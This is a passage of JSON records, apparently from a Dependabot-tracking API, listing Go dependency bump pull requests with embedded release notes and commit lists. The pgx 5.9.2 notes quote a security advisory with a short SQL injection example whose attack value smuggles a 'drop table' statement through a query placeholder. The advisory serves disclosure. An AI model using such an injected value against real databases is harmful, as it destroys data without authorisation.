href=\"https://github.com/golang/crypto/commit/e08b06753d6a72f1fe375b6e0fefefb39917c165\"\u003e\u003ccode\u003ee08b067\u003c/code\u003e\u003c/a\u003e go.mod: update golang.org/x dependencies\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/golang/crypto/commit/7d0074ccc6f17acbf2ebb10db06d492e08f887dc\"\u003e\u003ccode\u003e7d0074c\u003c/code\u003e\u003c/a\u003e scrypt: fix panic on parameters \u0026lt;= 0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/golang/crypto/commit/506e022208b864bc3c9c4a416fe56be75d10ad24\"\u003e\u003ccode\u003e506e022\u003c/code\u003e\u003c/a\u003e go.mod: update golang.org/x dependencies\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/golang/crypto/commit/7dacc380ba001e8fe7c3c7a46bf3cbdaa5064df9\"\u003e\u003ccode\u003e7dacc38\u003c/code\u003e\u003c/a\u003e chacha20poly1305: error out in fips140=only mode\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/golang/crypto/commit/19acf81bd7bc7b558d18a550e8e023df2c33e742\"\u003e\u003ccode\u003e19acf81\u003c/code\u003e\u003c/a\u003e go.mod: update golang.org/x dependencies\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/golang/crypto/compare/v0.6.0...v0.49.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore \u003cdependency name\u003e major version` will close this group update PR and stop Dependabot creating any more for the specific dependency's major version (unless you unignore this specific dependency's major version or upgrade to it yourself)\n- `@dependabot ignore \u003cdependency name\u003e minor version` will close this group update PR and stop Dependabot creating any more for the specific dependency's minor version (unless you unignore this specific dependency's minor version or upgrade to it yourself)\n- `@dependabot ignore \u003cdependency name\u003e` will close this group update PR and stop Dependabot creating any more for the specific dependency (unless you unignore this specific dependency or upgrade to it yourself)\n- `@dependabot unignore \u003cdependency name\u003e` will remove all of the ignore conditions of the specified dependency\n- `@dependabot unignore \u003cdependency name\u003e \u003cignore condition\u003e` will remove the ignore condition of the specified dependency and ignore conditions\nYou can disable automated security fix PRs for this repo from the [Security Alerts page](https://github.com/kmarf/90DaysOfDevOps/network/alerts).\n\n\u003c/details\u003e","html_url":"https://github.com/kmarf/90DaysOfDevOps/pull/1","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/kmarf%2F90DaysOfDevOps/issues/1","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/1/packages"}},{"old_version":"2.12.6","new_version":"2.12.8","update_type":"patch","path":null,"pr_created_at":"2026-04-29T00:21:28.000Z","version_change":"2.12.6 → 2.12.8","issue":{"uuid":"4347076366","node_id":"PR_kwDOR8mLwc7WiKkU","number":8,"state":"closed","title":"Bump the go-modules group across 1 directory with 12 updates","user":"dependabot[bot]","labels":["dependencies","go"],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":"2026-05-06T00:22:23.000Z","author_association":null,"state_reason":null,"created_at":"2026-04-29T00:21:28.000Z","updated_at":"2026-05-06T00:22:25.000Z","time_to_close":604855,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"Bump","group_name":"go-modules","update_count":12,"packages":[{"name":"github.com/ClickHouse/clickhouse-go/v2","old_version":"2.44.0","new_version":"2.45.0","repository_url":"https://github.com/ClickHouse/clickhouse-go"},{"name":"github.com/jackc/pgx/v5","old_version":"5.9.1","new_version":"5.9.2","repository_url":"https://github.com/jackc/pgx"},{"name":"github.com/minio/minio-go/v7","old_version":"7.0.100","new_version":"7.1.0","repository_url":"https://github.com/minio/minio-go"},{"name":"github.com/nats-io/nats-server/v2","old_version":"2.12.6","new_version":"2.12.8","repository_url":"https://github.com/nats-io/nats-server"},{"name":"github.com/redis/go-redis/v9","old_version":"9.18.0","new_version":"9.19.0","repository_url":"https://github.com/redis/go-redis"},{"name":"github.com/rs/zerolog","old_version":"1.35.0","new_version":"1.35.1","repository_url":"https://github.com/rs/zerolog"},{"name":"k8s.io/api","old_version":"0.35.0","new_version":"0.36.0","repository_url":"https://github.com/kubernetes/api"},{"name":"k8s.io/client-go","old_version":"0.35.0","new_version":"0.36.0","repository_url":"https://github.com/kubernetes/client-go"},{"name":"modernc.org/sqlite","old_version":"1.48.1","new_version":"1.50.0"}],"path":null,"ecosystem":"go"},"body":"Bumps the go-modules group with 9 updates in the / directory:\n\n| Package | From | To |\n| --- | --- | --- |\n| [github.com/ClickHouse/clickhouse-go/v2](https://github.com/ClickHouse/clickhouse-go) | `2.44.0` | `2.45.0` |\n| [github.com/jackc/pgx/v5](https://github.com/jackc/pgx) | `5.9.1` | `5.9.2` |\n| [github.com/minio/minio-go/v7](https://github.com/minio/minio-go) | `7.0.100` | `7.1.0` |\n| [github.com/nats-io/nats-server/v2](https://github.com/nats-io/nats-server) | `2.12.6` | `2.12.8` |\n| [github.com/redis/go-redis/v9](https://github.com/redis/go-redis) | `9.18.0` | `9.19.0` |\n| [github.com/rs/zerolog](https://github.com/rs/zerolog) | `1.35.0` | `1.35.1` |\n| [k8s.io/api](https://github.com/kubernetes/api) | `0.35.0` | `0.36.0` |\n| [k8s.io/client-go](https://github.com/kubernetes/client-go) | `0.35.0` | `0.36.0` |\n| [modernc.org/sqlite](https://gitlab.com/cznic/sqlite) | `1.48.1` | `1.50.0` |\n\n\nUpdates `github.com/ClickHouse/clickhouse-go/v2` from 2.44.0 to 2.45.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ClickHouse/clickhouse-go/releases\"\u003egithub.com/ClickHouse/clickhouse-go/v2's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev2.45.0\u003c/h2\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003ch3\u003eBug Fixes :bug:\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003efix: set req.Host for Host header in HTTP transport by \u003ca href=\"https://github.com/binger-li-dd\"\u003e\u003ccode\u003e@​binger-li-dd\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/ClickHouse/clickhouse-go/pull/1826\"\u003eClickHouse/clickhouse-go#1826\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eOther Changes 🛠\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003echore: pass explicity github token for claude review by \u003ca href=\"https://github.com/kavirajk\"\u003e\u003ccode\u003e@​kavirajk\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/ClickHouse/clickhouse-go/pull/1818\"\u003eClickHouse/clickhouse-go#1818\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/binger-li-dd\"\u003e\u003ccode\u003e@​binger-li-dd\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/ClickHouse/clickhouse-go/pull/1826\"\u003eClickHouse/clickhouse-go#1826\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/ClickHouse/clickhouse-go/compare/v2.44.0...v2.45.0\"\u003ehttps://github.com/ClickHouse/clickhouse-go/compare/v2.44.0...v2.45.0\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ClickHouse/clickhouse-go/blob/main/CHANGELOG.md\"\u003egithub.com/ClickHouse/clickhouse-go/v2's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003ev2.45.0, 2026-04-13 \u003c!-- raw HTML omitted --\u003e\u003c/h1\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003ch3\u003eBug Fixes :bug:\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003efix: set req.Host for Host header in HTTP transport by \u003ca href=\"https://github.com/binger-li-dd\"\u003e\u003ccode\u003e@​binger-li-dd\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/ClickHouse/clickhouse-go/pull/1826\"\u003eClickHouse/clickhouse-go#1826\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eOther Changes 🛠\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003echore: pass explicity github token for claude review by \u003ca href=\"https://github.com/kavirajk\"\u003e\u003ccode\u003e@​kavirajk\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/ClickHouse/clickhouse-go/pull/1818\"\u003eClickHouse/clickhouse-go#1818\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/binger-li-dd\"\u003e\u003ccode\u003e@​binger-li-dd\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/ClickHouse/clickhouse-go/pull/1826\"\u003eClickHouse/clickhouse-go#1826\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/ClickHouse/clickhouse-go/compare/v2.44.0...v2.45.0\"\u003ehttps://github.com/ClickHouse/clickhouse-go/compare/v2.44.0...v2.45.0\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ClickHouse/clickhouse-go/commit/1422cc5ec4aa145f80908f8f8374c380c90c0545\"\u003e\u003ccode\u003e1422cc5\u003c/code\u003e\u003c/a\u003e Update release notes\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ClickHouse/clickhouse-go/commit/c790ac60c95fd3e45cff5b979bd4577cb6ff2a41\"\u003e\u003ccode\u003ec790ac6\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/ClickHouse/clickhouse-go/issues/1826\"\u003e#1826\u003c/a\u003e from binger-li-dd/fix/host-header-http-transport\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ClickHouse/clickhouse-go/commit/30d09f0bdd9770fa646f3ce90964677f85132fd5\"\u003e\u003ccode\u003e30d09f0\u003c/code\u003e\u003c/a\u003e fix: set req.Host for Host header in HTTP transport\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ClickHouse/clickhouse-go/commit/960153b8647b510b5f15e8ead84ba4d395cb2ecd\"\u003e\u003ccode\u003e960153b\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/ClickHouse/clickhouse-go/issues/1818\"\u003e#1818\u003c/a\u003e from ClickHouse/kavirajk/fix-code-review-workflow\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ClickHouse/clickhouse-go/commit/f8cbde706f1e475b5506b79c6dd681b8237b1a7b\"\u003e\u003ccode\u003ef8cbde7\u003c/code\u003e\u003c/a\u003e chore: pass explicity github token for claude review\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/ClickHouse/clickhouse-go/compare/v2.44.0...v2.45.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `github.com/jackc/pgx/v5` from 5.9.1 to 5.9.2\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/jackc/pgx/blob/master/CHANGELOG.md\"\u003egithub.com/jackc/pgx/v5's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003e5.9.2 (April 18, 2026)\u003c/h1\u003e\n\u003cp\u003eFix SQL Injection via placeholder confusion with dollar quoted string literals (GHSA-j88v-2chj-qfwx)\u003c/p\u003e\n\u003cp\u003eSQL injection can occur when:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003eThe non-default simple protocol is used.\u003c/li\u003e\n\u003cli\u003eA dollar quoted string literal is used in the SQL query.\u003c/li\u003e\n\u003cli\u003eThat query contains text that would be would be interpreted outside as a placeholder outside of a string literal.\u003c/li\u003e\n\u003cli\u003eThe value of that placeholder is controllable by the attacker.\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003ee.g.\u003c/p\u003e\n\u003cpre lang=\"go\"\u003e\u003ccode\u003eattackValue := `$tag$; drop table canary; --`\n_, err = tx.Exec(ctx, `select $tag$ $1 $tag$, $1`, pgx.QueryExecModeSimpleProtocol, attackValue)\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eThis is unlikely to occur outside of a contrived scenario.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jackc/pgx/commit/0aeabbcf11d859229c1f0b20e710d3596c76bf27\"\u003e\u003ccode\u003e0aeabbc\u003c/code\u003e\u003c/a\u003e Release v5.9.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jackc/pgx/commit/60644f84918a8af66d14a4b0d865d4edafd955da\"\u003e\u003ccode\u003e60644f8\u003c/code\u003e\u003c/a\u003e Fix SQL sanitizer bugs with dollar-quoted strings and placeholder overflow\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jackc/pgx/commit/a5680bc945aa7c6ebac2778d859ee7b4ba86db60\"\u003e\u003ccode\u003ea5680bc\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/jackc/pgx/issues/2531\"\u003e#2531\u003c/a\u003e from dolmen-go/godoc-add-links\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jackc/pgx/commit/e34e4524007062710c6a4fb9c8655b75a486b5cd\"\u003e\u003ccode\u003ee34e452\u003c/code\u003e\u003c/a\u003e doc: Add godoc links\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jackc/pgx/commit/08c9bb1f0d8fa6cc10ed8c713e68b1baa64dfe2c\"\u003e\u003ccode\u003e08c9bb1\u003c/code\u003e\u003c/a\u003e Fix Stringer types encoded as text instead of numeric value in composite fields\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jackc/pgx/commit/96b4dbdfd0458cb425bf8454d292a23978872cc8\"\u003e\u003ccode\u003e96b4dbd\u003c/code\u003e\u003c/a\u003e Remove unstable test\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jackc/pgx/commit/acf88e0065682e8948696d26fa6438669c4cabee\"\u003e\u003ccode\u003eacf88e0\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/jackc/pgx/issues/2526\"\u003e#2526\u003c/a\u003e from abrightwell/abrightwell-min-proto\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jackc/pgx/commit/2f81f1fc03bef99593e92c64ad9cac954c00e8e6\"\u003e\u003ccode\u003e2f81f1f\u003c/code\u003e\u003c/a\u003e Update \u003ccode\u003emax_protocol_version\u003c/code\u003e and \u003ccode\u003emin_protocol_version\u003c/code\u003e defaults\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/jackc/pgx/compare/v5.9.1...v5.9.2\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `github.com/minio/minio-go/v7` from 7.0.100 to 7.1.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/minio/minio-go/releases\"\u003egithub.com/minio/minio-go/v7's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003eRelease v7.1.0\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eGetObjectAttributes: Add missing checksum \u0026amp; type by \u003ca href=\"https://github.com/klauspost\"\u003e\u003ccode\u003e@​klauspost\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/minio/minio-go/pull/2217\"\u003eminio/minio-go#2217\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003esupport x-minio-source-time header for getobject / statObject by \u003ca href=\"https://github.com/jiuker\"\u003e\u003ccode\u003e@​jiuker\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/minio/minio-go/pull/2219\"\u003eminio/minio-go#2219\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAdd new AWS checksums by \u003ca href=\"https://github.com/klauspost\"\u003e\u003ccode\u003e@​klauspost\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/minio/minio-go/pull/2221\"\u003eminio/minio-go#2221\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/minio/minio-go/compare/v7.0.100...v7.1.0\"\u003ehttps://github.com/minio/minio-go/compare/v7.0.100...v7.1.0\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/minio/minio-go/commit/f29e5687f3234ca088afedc03f4096ea50d4e10b\"\u003e\u003ccode\u003ef29e568\u003c/code\u003e\u003c/a\u003e Add new AWS checksums (\u003ca href=\"https://redirect.github.com/minio/minio-go/issues/2221\"\u003e#2221\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/minio/minio-go/commit/68e87b1d1e3135495a6e6faed9d40171230c5883\"\u003e\u003ccode\u003e68e87b1\u003c/code\u003e\u003c/a\u003e support x-minio-source-time header for getobject / statObject (\u003ca href=\"https://redirect.github.com/minio/minio-go/issues/2219\"\u003e#2219\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/minio/minio-go/commit/d457cd49a467706fa4789028f0594853f8702523\"\u003e\u003ccode\u003ed457cd4\u003c/code\u003e\u003c/a\u003e GetObjectAttributes: Add missing checksum \u0026amp; type (\u003ca href=\"https://redirect.github.com/minio/minio-go/issues/2217\"\u003e#2217\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/minio/minio-go/compare/v7.0.100...v7.1.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `github.com/nats-io/nats-server/v2` from 2.12.6 to 2.12.8\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/nats-io/nats-server/releases\"\u003egithub.com/nats-io/nats-server/v2's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003eRelease v2.12.8\u003c/h2\u003e\n\u003ch2\u003eChangelog\u003c/h2\u003e\n\u003cp\u003eRefer to the \u003ca href=\"https://docs.nats.io/release-notes/whats_new/whats_new_212\"\u003e2.12 Upgrade Guide\u003c/a\u003e for backwards compatibility notes with 2.11.x.\u003c/p\u003e\n\u003ch3\u003eGo Version\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e1.25.9\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eDependencies\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003egolang.org/x/crypto v0.50.0 (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8030\"\u003e#8030\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003egolang.org/x/sys v0.43.0 (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8030\"\u003e#8030\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003egithub.com/nats-io/nats.go v1.51.0 (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8068\"\u003e#8068\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eImproved\u003c/h3\u003e\n\u003cp\u003eJetStream\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eRefactored and simplified setting the pinned headers in consumers (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8032\"\u003e#8032\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eScanning for the starting sequence for consumers is now an asynchronous operation which no longer pauses the metalayer (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8051\"\u003e#8051\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cp\u003eGeneral\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eReload logic on gateway \u003ccode\u003epinned_certs\u003c/code\u003e configuration has been corrected\u003c/li\u003e\n\u003cli\u003eRepeated \u003ccode\u003eCONNECT\u003c/code\u003e messages on a connection now clear subscriptions\u003c/li\u003e\n\u003cli\u003eJWT claims with validity times that cross midnight are now validated correctly\u003c/li\u003e\n\u003cli\u003eThe \u003ccode\u003e/connz\u003c/code\u003e monitoring endpoint no longer discloses bearer JWTs\u003c/li\u003e\n\u003cli\u003eMonitoring redaction of route and cluster URL secrets when passed in as command line arguments\u003c/li\u003e\n\u003cli\u003eFixed a panic that could occur when negotiating compression on leafnode connections\u003c/li\u003e\n\u003cli\u003eMax control line enforcement for non-clients has been fixed\u003c/li\u003e\n\u003cli\u003eFixed a bug where setting message headers could mutate the input message buffers\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eLeafnodes\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eSolicited leafnode connections now send a connect advisory, which was previously missing (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8015\"\u003e#8015\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eJetStream\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eMessage roll-ups are now applied on interest-based streams where there is no interest over the subjects (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8019\"\u003e#8019\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eStream leaders can now catch up from incoming snapshots, correcting an edge case when scaling up (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8021\"\u003e#8021\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFixed a Raft commit index reset when terms mismatch (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8023\"\u003e#8023\u003c/a\u003e, contributed by \u003ca href=\"https://github.com/thecitymouse\"\u003e\u003ccode\u003e@​thecitymouse\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ePurging via scheduled \u003ccode\u003eNats-Schedule-Next: purge\u003c/code\u003e now errors when message scheduling is not enabled (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8035\"\u003e#8035\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eRecovering with a legacy zero index Raft snapshot will no longer panic (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8039\"\u003e#8039\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eMessages with a deduplication \u003ccode\u003eNats-Msg-Id\u003c/code\u003e header are no longer incorrectly deduplicated in mirrors (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8043\"\u003e#8043\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFixed a panic when scaling after a stream update when the assignment is not fully populated yet on recovery (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8049\"\u003e#8049\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eStream info and consumer info requests will no longer return not found when the assignments are in-flight (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8054\"\u003e#8054\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eStreams and consumers now correctly reject path separators in asset names\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/e9559e9ae3cd09ed29b157e6f19babb2cd1609e5\"\u003e\u003ccode\u003ee9559e9\u003c/code\u003e\u003c/a\u003e Release v2.12.8\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/972a686bb5942ddf28df407be7c7ae584f8d29d5\"\u003e\u003ccode\u003e972a686\u003c/code\u003e\u003c/a\u003e Release v2.12.8-RC.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/f17e974e07b1552f032aeca478249cd2cc89dc94\"\u003e\u003ccode\u003ef17e974\u003c/code\u003e\u003c/a\u003e Cherry-picks for v2.12.8-RC.2 (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/98\"\u003e#98\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/82b57ae5653112c2b6e6609730a01733e91fa7dd\"\u003e\u003ccode\u003e82b57ae\u003c/code\u003e\u003c/a\u003e [FIXED] c.setHeader mutates input message\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/2530117b4a9ee3dec25b8ff5eb460d731985d6f8\"\u003e\u003ccode\u003e2530117\u003c/code\u003e\u003c/a\u003e [FIXED] Max control line for non-clients\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/dfd2abc927badd253b7a7ea98e8fda6f89d8425d\"\u003e\u003ccode\u003edfd2abc\u003c/code\u003e\u003c/a\u003e [FIXED] retryDisconnectedSyncConsumers properly checks for closed clients\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/61e8ea84c9086bfc592e3eacfaddfdb312f63d35\"\u003e\u003ccode\u003e61e8ea8\u003c/code\u003e\u003c/a\u003e [IMPROVED] Refactor processInboundSourceMsg for simplicity\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/03c87eadde49cbf07c63827244b2ed282f296967\"\u003e\u003ccode\u003e03c87ea\u003c/code\u003e\u003c/a\u003e [FIXED] Source rolls sequence back on error reset\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/83e3d3714ce3240822a8f3bd6e51cbe83458cf65\"\u003e\u003ccode\u003e83e3d37\u003c/code\u003e\u003c/a\u003e [FIXED] Source does not duplicate messages after leaf reconnect\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/2a0c5c7660d610ff0f34cf2cec79c223fe64b173\"\u003e\u003ccode\u003e2a0c5c7\u003c/code\u003e\u003c/a\u003e Update dependencies\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/nats-io/nats-server/compare/v2.12.6...v2.12.8\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `github.com/nats-io/nats.go` from 1.50.0 to 1.51.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/nats-io/nats.go/releases\"\u003egithub.com/nats-io/nats.go's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003eRelease v1.51.0\u003c/h2\u003e\n\u003ch2\u003eChangelog\u003c/h2\u003e\n\u003ch3\u003eADDED\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eCore NATS:\n\u003cul\u003e\n\u003cli\u003eOption to customize write buffer size (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2057\"\u003e#2057\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eOption to automatically reconnect on write error (\u003ca 